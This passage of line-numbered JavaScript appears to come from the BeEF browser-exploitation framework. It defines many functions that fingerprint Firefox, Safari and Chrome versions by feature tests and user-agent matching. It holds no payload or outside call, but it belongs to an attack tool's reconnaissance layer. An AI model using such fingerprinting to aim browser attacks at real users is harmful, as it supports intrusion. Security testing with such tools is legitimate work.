5276 },
5277
5278 /**
5279 * Returns true if FF28
5280 * @example: beef.browser.isFF28()
5281 */
5282 isFF28: function () {
5283 return !!window.devicePixelRatio && !!window.history.replaceState && typeof
5284
5285navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof
5286
5287window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof
5288
5289String.prototype.codePointAt !== 'function' && window.navigator.userAgent.match(/Firefox\/28./) != null;
5290 },
5291
5292 /**
5293 * Returns true if FF29
5294 * @example: beef.browser.isFF29()
5295 */
5296 isFF29: function () {
5297 return !!window.devicePixelRatio && !!window.history.replaceState && typeof
5298
5299navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof
5300
5301window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof
5302
5303String.prototype.codePointAt === 'function' && window.navigator.userAgent.match(/Firefox\/29./) != null;
5304 },
5305
5306 /**
5307 * Returns true if FF30
5308 * @example: beef.browser.isFF30()
5309 */
5310 isFF30: function () {
5311 return !!window.devicePixelRatio && !!window.history.replaceState && typeof
5312
5313navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof
5314
5315window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof
5316
5317String.prototype.codePointAt === 'function' && window.navigator.userAgent.match(/Firefox\/30./) != null;
5318 },
5319
5320 /**
5321 * Returns true if FF31
5322 * @example: beef.browser.isFF31()
5323 */
5324 isFF31: function () {
5325 return !!window.devicePixelRatio && !!window.history.replaceState && typeof
5326
5327navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof
5328
5329window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof
5330
5331String.prototype.codePointAt === 'function' && window.navigator.userAgent.match(/Firefox\/31./) != null;
5332 },
5333
5334 /**
5335 * Returns true if FF32
5336 * @example: beef.browser.isFF32()
5337 */
5338 isFF32: function () {
5339 return !!window.devicePixelRatio && !!window.history.replaceState && typeof
5340
5341navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof
5342
5343window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof
5344
5345String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' &&
5346
5347window.navigator.userAgent.match(/Firefox\/32./) != null;
5348 },
5349
5350 /**
5351 * Returns true if FF33
5352 * @example: beef.browser.isFF33()
5353 */
5354 isFF33: function () {
5355 return !!window.devicePixelRatio && !!window.history.replaceState && typeof
5356
5357navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof
5358
5359window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof
5360
5361String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' &&
5362
5363window.navigator.userAgent.match(/Firefox\/33./) != null;
5364 },
5365
5366 /**
5367 * Returns true if FF34
5368 * @example: beef.browser.isFF34()
5369 */
5370 isFF34: function () {
5371 return !!window.devicePixelRatio && !!window.history.replaceState && typeof
5372
5373navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof
5374
5375window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof
5376
5377String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' &&
5378
5379window.navigator.userAgent.match(/Firefox\/34./) != null;
5380 },
5381
5382 /**
5383 * Returns true if FF35
5384 * @example: beef.browser.isFF35()
5385 */
5386 isFF35: function () {
5387 return !!window.devicePixelRatio && !!window.history.replaceState && typeof
5388
5389navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof
5390
5391window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof
5392
5393String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' &&
5394
5395window.navigator.userAgent.match(/Firefox\/35./) != null;
5396 },
5397
5398 /**
5399 * Returns true if FF36
5400 * @example: beef.browser.isFF36()
5401 */
5402 isFF36: function () {
5403 return !!window.devicePixelRatio && !!window.history.replaceState && typeof
5404
5405navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof
5406
5407window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof
5408
5409String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' &&
5410
5411window.navigator.userAgent.match(/Firefox\/36./) != null;
5412 },
5413
5414 /**
5415 * Returns true if FF37
5416 * @example: beef.browser.isFF37()
5417 */
5418 isFF37: function () {
5419 return !!window.devicePixelRatio && !!window.history.replaceState && typeof
5420
5421navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof
5422
5423window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof
5424
5425String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' &&
5426
5427window.navigator.userAgent.match(/Firefox\/37./) != null;
5428 },
5429
5430 /**
5431 * Returns true if FF38
5432 * @example: beef.browser.isFF38()
5433 */
5434 isFF38: function () {
5435 return !!window.devicePixelRatio && !!window.history.replaceState && typeof
5436
5437navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof
5438
5439window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof
5440
5441String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' &&
5442
5443window.navigator.userAgent.match(/Firefox\/38./) != null;
5444 },
5445
5446 /**
5447 * Returns true if FF39
5448 * @example: beef.browser.isFF39()
5449 */
5450 isFF39: function () {
5451 return !!window.devicePixelRatio && !!window.history.replaceState && typeof
5452
5453navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof
5454
5455window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof
5456
5457String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' &&
5458
5459window.navigator.userAgent.match(/Firefox\/39./) != null;
5460 },
5461
5462 /**
5463 * Returns true if FF40
5464 * @example: beef.browser.isFF40()
5465 */
5466 isFF40: function () {
5467 return !!window.devicePixelRatio && !!window.history.replaceState && typeof
5468
5469navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof
5470
5471window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof
5472
5473String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' &&
5474
5475window.navigator.userAgent.match(/Firefox\/40./) != null;
5476 },
5477
5478 /**
5479 * Returns true if FF41
5480 * @example: beef.browser.isFF41()
5481 */
5482 isFF41: function () {
5483 return !!window.devicePixelRatio && !!window.history.replaceState && typeof
5484
5485navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof
5486
5487window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof
5488
5489String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' &&
5490
5491window.navigator.userAgent.match(/Firefox\/41./) != null;
5492 },
5493
5494 /**
5495 * Returns true if FF42
5496 * @example: beef.browser.isFF42()
5497 */
5498 isFF42: function () {
5499 return !!window.devicePixelRatio && !!window.history.replaceState && typeof
5500
5501navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof
5502
5503window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof
5504
5505String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' &&
5506
5507window.navigator.userAgent.match(/Firefox\/42./) != null;
5508 },
5509
5510 /**
5511 * Returns true if FF43
5512 * @example: beef.browser.isFF43()
5513 */
5514 isFF43: function () {
5515 return !!window.devicePixelRatio && !!window.history.replaceState && typeof
5516
5517navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof
5518
5519window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof
5520
5521String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' &&
5522
5523window.navigator.userAgent.match(/Firefox\/43./) != null;
5524 },
5525
5526 /**
5527 * Returns true if FF.
5528 * @example: beef.browser.isFF()
5529 */
5530 isFF: function () {
5531 return this.isFF2() || this.isFF3() || this.isFF3_5() || this.isFF3_6() || this.isFF4() || this.isFF5() || this.isFF6
5532
5533() || this.isFF7() || this.isFF8() || this.isFF9() || this.isFF10() || this.isFF11() || this.isFF12() || this.isFF13() ||
5534
5535this.isFF14() || this.isFF15() || this.isFF16() || this.isFF17() || this.isFF18() || this.isFF19() || this.isFF20() ||
5536
5537this.isFF21() || this.isFF22() || this.isFF23() || this.isFF24() || this.isFF25() || this.isFF26() || this.isFF27() ||
5538
5539this.isFF28() || this.isFF29() || this.isFF30() || this.isFF31() || this.isFF32() || this.isFF33() || this.isFF34() ||
5540
5541this.isFF35() || this.isFF36() || this.isFF37() || this.isFF38() || this.isFF39() || this.isFF40() || this.isFF41() ||
5542
5543this.isFF42() || this.isFF43();
5544 },
5545
5546 /**
5547 * Returns true if Safari 4.xx
5548 * @example: beef.browser.isS4()
5549 */
5550 isS4: function () {
5551 return (window.navigator.userAgent.match(/ Version\/4\.\d/) != null &&
5552
5553window.navigator.userAgent.match(/Safari\/\d/) != null && !window.globalStorage && !!
5554
5555window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
5556 },
5557
5558 /**
5559 * Returns true if Safari 5.xx
5560 * @example: beef.browser.isS5()
5561 */
5562 isS5: function () {
5563 return (window.navigator.userAgent.match(/ Version\/5\.\d/) != null &&
5564
5565window.navigator.userAgent.match(/Safari\/\d/) != null && !window.globalStorage && !!
5566
5567window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
5568 },
5569
5570 /**
5571 * Returns true if Safari 6.xx
5572 * @example: beef.browser.isS6()
5573 */
5574 isS6: function () {
5575 return (window.navigator.userAgent.match(/ Version\/6\.\d/) != null &&
5576
5577window.navigator.userAgent.match(/Safari\/\d/) != null && !window.globalStorage && !!
5578
5579window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
5580 },
5581
5582 /**
5583 * Returns true if Safari 7.xx
5584 * @example: beef.browser.isS7()
5585 */
5586 isS7: function () {
5587 return (window.navigator.userAgent.match(/ Version\/7\.\d/) != null &&
5588
5589window.navigator.userAgent.match(/Safari\/\d/) != null && !window.globalStorage && !!
5590
5591window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
5592 },
5593
5594 /**
5595 * Returns true if Safari 8.xx
5596 * @example: beef.browser.isS8()
5597 */
5598 isS8: function () {
5599 return (window.navigator.userAgent.match(/ Version\/8\.\d/) != null &&
5600
5601window.navigator.userAgent.match(/Safari\/\d/) != null && !window.globalStorage && !!
5602
5603window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
5604 },
5605
5606 /**
5607 * Returns true if Safari.
5608 * @example: beef.browser.isS()
5609 */
5610 isS: function () {
5611 return this.isS4() || this.isS5() || this.isS6() || this.isS7() || this.isS8();
5612 },
5613
5614 /**
5615 * Returns true if Chrome 5.
5616 * @example: beef.browser.isC5()
5617 */
5618 isC5: function () {
5619 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match
5620
5621(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 5) ? true
5622
5623: false);
5624 },
5625
5626 /**
5627 * Returns true if Chrome 6.
5628 * @example: beef.browser.isC6()
5629 */
5630 isC6: function () {
5631 return (!!window.chrome && !!window.webkitPerformance && window.navigator.appVersion.match
5632
5633(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 6) ? true
5634
5635: false);
5636 },
5637
5638 /**
5639 * Returns true if Chrome 7.
5640 * @example: beef.browser.isC7()
5641 */
5642 isC7: function () {
5643 return (!!window.chrome && !!window.webkitPerformance && window.navigator.appVersion.match
5644
5645(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 7) ? true
5646
5647: false);
5648 },
5649
5650 /**
5651 * Returns true if Chrome 8.
5652 * @example: beef.browser.isC8()
5653 */
5654 isC8: function () {
5655 return (!!window.chrome && !!window.webkitPerformance && window.navigator.appVersion.match
5656
5657(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 8) ? true
5658
5659: false);
5660 },
5661
5662 /**
5663 * Returns true if Chrome 9.
5664 * @example: beef.browser.isC9()
5665 */
5666 isC9: function () {
5667 return (!!window.chrome && !!window.webkitPerformance && window.navigator.appVersion.match
5668
5669(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 9) ? true
5670
5671: false);
5672 },
5673
5674 /**
5675 * Returns true if Chrome 10.
5676 * @example: beef.browser.isC10()
5677 */
5678 isC10: function () {
5679 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match
5680
5681(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 10) ?
5682
5683true : false);
5684 },
5685
5686 /**
5687 * Returns true if Chrome 11.
5688 * @example: beef.browser.isC11()
5689 */
5690 isC11: function () {
5691 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match
5692
5693(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 11) ?
5694
5695true : false);
5696 },
5697
5698 /**
5699 * Returns true if Chrome 12.
5700 * @example: beef.browser.isC12()
5701 */
5702 isC12: function () {
5703 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match
5704
5705(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 12) ?
5706
5707true : false);
5708 },
5709
5710 /**
5711 * Returns true if Chrome 13.
5712 * @example: beef.browser.isC13()
5713 */
5714 isC13: function () {
5715 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match
5716
5717(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 13) ?
5718
5719true : false);
5720 },
5721
5722 /**
5723 * Returns true if Chrome 14.
5724 * @example: beef.browser.isC14()
5725 */
5726 isC14: function () {
5727 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match
5728
5729(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 14) ?
5730
5731true : false);
5732 },
5733
5734 /**
5735 * Returns true if Chrome 15.
5736 * @example: beef.browser.isC15()
5737 */
5738 isC15: function () {
5739 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match
5740
5741(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 15) ?
5742
5743true : false);
5744 },
5745
5746 /**
5747 * Returns true if Chrome 16.
5748 * @example: beef.browser.isC16()
5749 */
5750 isC16: function () {
5751 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match
5752
5753(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 16) ?
5754
5755true : false);
5756 },
5757
5758 /**
5759 * Returns true if Chrome 17.
5760 * @example: beef.browser.isC17()
5761 */
5762 isC17: function () {
5763 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match
5764
5765(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 17) ?
5766
5767true : false);
5768 },
5769
5770 /**
5771 * Returns true if Chrome 18.
5772 * @example: beef.browser.isC18()
5773 */
5774 isC18: function () {
5775 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match
5776
5777(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 18) ?
5778
5779true : false);
5780 },
5781
5782 /**
5783 * Returns true if Chrome 19.
5784 * @example: beef.browser.isC19()
5785 */
5786 isC19: function () {
5787 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match
5788
5789(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 19) ?
5790
5791true : false);
5792 },
5793
5794 /**
5795 * Returns true if Chrome for iOS 19.
5796 * @example: beef.browser.isC19iOS()
5797 */
5798 isC19iOS: function () {
5799 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) &&
5800
5801((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 19) ? true : false);
5802 },
5803
5804 /**
5805 * Returns true if Chrome 20.
5806 * @example: beef.browser.isC20()
5807 */
5808 isC20: function () {
5809 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match
5810
5811(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 20) ?
5812
5813true : false);
5814 },
5815
5816 /**
5817 * Returns true if Chrome for iOS 20.
5818 * @example: beef.browser.isC20iOS()
5819 */
5820 isC20iOS: function () {
5821 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) &&
5822
5823((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 20) ? true : false);
5824 },
5825
5826 /**
5827 * Returns true if Chrome 21.
5828 * @example: beef.browser.isC21()
5829 */
5830 isC21: function () {
5831 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match
5832
5833(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 21) ?
5834
5835true : false);
5836 },
5837
5838 /**
5839 * Returns true if Chrome for iOS 21.
5840 * @example: beef.browser.isC21iOS()
5841 */
5842 isC21iOS: function () {
5843 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) &&
5844
5845((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 21) ? true : false);
5846 },
5847
5848 /**
5849 * Returns true if Chrome 22.
5850 * @example: beef.browser.isC22()
5851 */
5852 isC22: function () {
5853 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match
5854
5855(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 22) ?
5856
5857true : false);
5858 },
5859
5860 /**
5861 * Returns true if Chrome for iOS 22.
5862 * @example: beef.browser.isC22iOS()
5863 */
5864 isC22iOS: function () {
5865 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) &&
5866
5867((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 22) ? true : false);
5868 },
5869
5870 /**
5871 * Returns true if Chrome 23.
5872 * @example: beef.browser.isC23()
5873 */
5874 isC23: function () {
5875 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match
5876
5877(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 23) ?
5878
5879true : false);
5880 },
5881
5882 /**
5883 * Returns true if Chrome for iOS 23.
5884 * @example: beef.browser.isC23iOS()
5885 */
5886 isC23iOS: function () {
5887 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) &&
5888
5889((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 23) ? true : false);
5890 },
5891
5892 /**
5893 * Returns true if Chrome 24.
5894 * @example: beef.browser.isC24()
5895 */
5896 isC24: function () {
5897 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match
5898
5899(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 24) ?
5900
5901true : false);
5902 },
5903
5904 /**
5905 * Returns true if Chrome for iOS 24.
5906 * @example: beef.browser.isC24iOS()
5907 */
5908 isC24iOS: function () {
5909 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) &&
5910
5911((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 24) ? true : false);
5912 },
5913
5914 /**
5915 * Returns true if Chrome 25.
5916 * @example: beef.browser.isC25()
5917 */
5918 isC25: function () {
5919 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match
5920
5921(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 25) ?
5922
5923true : false);
5924 },
5925
5926 /**
5927 * Returns true if Chrome for iOS 25.
5928 * @example: beef.browser.isC25iOS()
5929 */
5930 isC25iOS: function () {
5931 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) &&
5932
5933((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 25) ? true : false);
5934 },
5935
5936 /**
5937 * Returns true if Chrome 26.
5938 * @example: beef.browser.isC26()
5939 */
5940 isC26: function () {
5941 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match
5942
5943(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 26) ?
5944
5945true : false);
5946 },
5947
5948 /**
5949 * Returns true if Chrome for iOS 26.
5950 * @example: beef.browser.isC26iOS()
5951 */
5952 isC26iOS: function () {
5953 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) &&
5954
5955((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 26) ? true : false);
5956 },
5957
5958 /**
5959 * Returns true if Chrome 27.
5960 * @example: beef.browser.isC27()
5961 */
5962 isC27: function () {
5963 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match
5964
5965(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 27) ?
5966
5967true : false);
5968 },
5969
5970 /**
5971 * Returns true if Chrome for iOS 27.
5972 * @example: beef.browser.isC27iOS()
5973 */
5974 isC27iOS: function () {
5975 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) &&
5976
5977((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 27) ? true : false);
5978 },
5979
5980 /**
5981 * Returns true if Chrome 28.
5982 * @example: beef.browser.isC28()
5983 */
5984 isC28: function () {
5985 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match
5986
5987(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 28) ?
5988
5989true : false);
5990 },
5991
5992 /**
5993 * Returns true if Chrome for iOS 28.
5994 * @example: beef.browser.isC28iOS()
5995 */
5996 isC28iOS: function () {
5997 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) &&
5998
5999((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 28) ? true : false);
6000 },
6001
6002 /**
6003 * Returns true if Chrome 29.
6004 * @example: beef.browser.isC29()
6005 */
6006 isC29: function () {
6007 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match
6008
6009(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 29) ?
6010
6011true : false);
6012 },
6013
6014 /**
6015 * Returns true if Chrome for iOS 29.
6016 * @example: beef.browser.isC29iOS()
6017 */
6018 isC29iOS: function () {
6019 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) &&
6020
6021((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 29) ? true : false);
6022 },
6023
6024 /**
6025 * Returns true if Chrome 30.
6026 * @example: beef.browser.isC30()
6027 */
6028 isC30: function () {
6029 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match
6030
6031(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 30) ?
6032
6033true : false);
6034 },
6035
6036 /**
6037 * Returns true if Chrome for iOS 30.
6038 * @example: beef.browser.isC30iOS()
6039 */
6040 isC30iOS: function () {
6041 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) &&
6042
6043((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 30) ? true : false);
6044 },
6045
6046 /**
6047 * Returns true if Chrome 31.
6048 * @example: beef.browser.isC31()
6049 */
6050 isC31: function () {
6051 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match
6052
6053(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 31) ?
6054
6055true : false);
6056 },
6057
6058 /**
6059 * Returns true if Chrome for iOS 31.
6060 * @example: beef.browser.isC31iOS()
6061 */
6062 isC31iOS: function () {
6063 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) &&
6064
6065((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 31) ? true : false);
6066 },
6067
6068 /**
6069 * Returns true if Chrome 32.
6070 * @example: beef.browser.isC32()
6071 */
6072 isC32: function () {
6073 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match
6074
6075(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 32) ?
6076
6077true : false);
6078 },
6079
6080 /**
6081 * Returns true if Chrome for iOS 32.
6082 * @example: beef.browser.isC32iOS()
6083 */
6084 isC32iOS: function () {
6085 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) &&
6086
6087((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 32) ? true : false);
6088 },
6089
6090 /**
6091 * Returns true if Chrome 33.
6092 * @example: beef.browser.isC33()
6093 */
6094 isC33: function () {
6095 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match
6096
6097(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 33) ?
6098
6099true : false);
6100 },
6101
6102 /**
6103 * Returns true if Chrome for iOS 33.
6104 * @example: beef.browser.isC33iOS()
6105 */
6106 isC33iOS: function () {
6107 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) &&
6108
6109((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 33) ? true : false);
6110 },
6111
6112 /**
6113 * Returns true if Chrome 34.
6114 * @example: beef.browser.isC34()
6115 */
6116 isC34: function () {
6117 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match
6118
6119(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 34) ?
6120
6121true : false);
6122 },
6123
6124 /**
6125 * Returns true if Chrome for iOS 34.
6126 * @example: beef.browser.isC34iOS()
6127 */
6128 isC34iOS: function () {
6129 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) &&
6130
6131((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 34) ? true : false);
6132 },
6133
6134 /**
6135 * Returns true if Chrome 35.
6136 * @example: beef.browser.isC35()
6137 */
6138 isC35: function () {
6139 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match
6140
6141(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 35) ?
6142
6143true : false);
6144 },
6145
6146 /**
6147 * Returns true if Chrome for iOS 35.
6148 * @example: beef.browser.isC35iOS()
6149 */
6150 isC35iOS: function () {
6151 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) &&
6152
6153((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 35) ? true : false);
6154 },
6155
6156 /**
6157 * Returns true if Chrome 36.
6158 * @example: beef.browser.isC36()
6159 */
6160 isC36: function () {
6161 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match
6162
6163(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 36) ?
6164
6165true : false);
6166 },
6167
6168 /**
6169 * Returns true if Chrome for iOS 36.
6170 * @example: beef.browser.isC36iOS()
6171 */
6172 isC36iOS: function () {
6173 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) &&
6174
6175((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 36) ? true : false);
6176 },
6177
6178 /**
6179 * Returns true if Chrome 37.
6180 * @example: beef.browser.isC37()
6181 */
6182 isC37: function () {
6183 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match
6184
6185(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 37) ?
6186
6187true : false);
6188 },
6189
6190 /**
6191 * Returns true if Chrome for iOS 37.
6192 * @example: beef.browser.isC37iOS()
6193 */
6194 isC37iOS: function () {
6195 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) &&
6196
6197((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 37) ? true : false);
6198 },
6199
6200 /**
6201 * Returns true if Chrome 38.
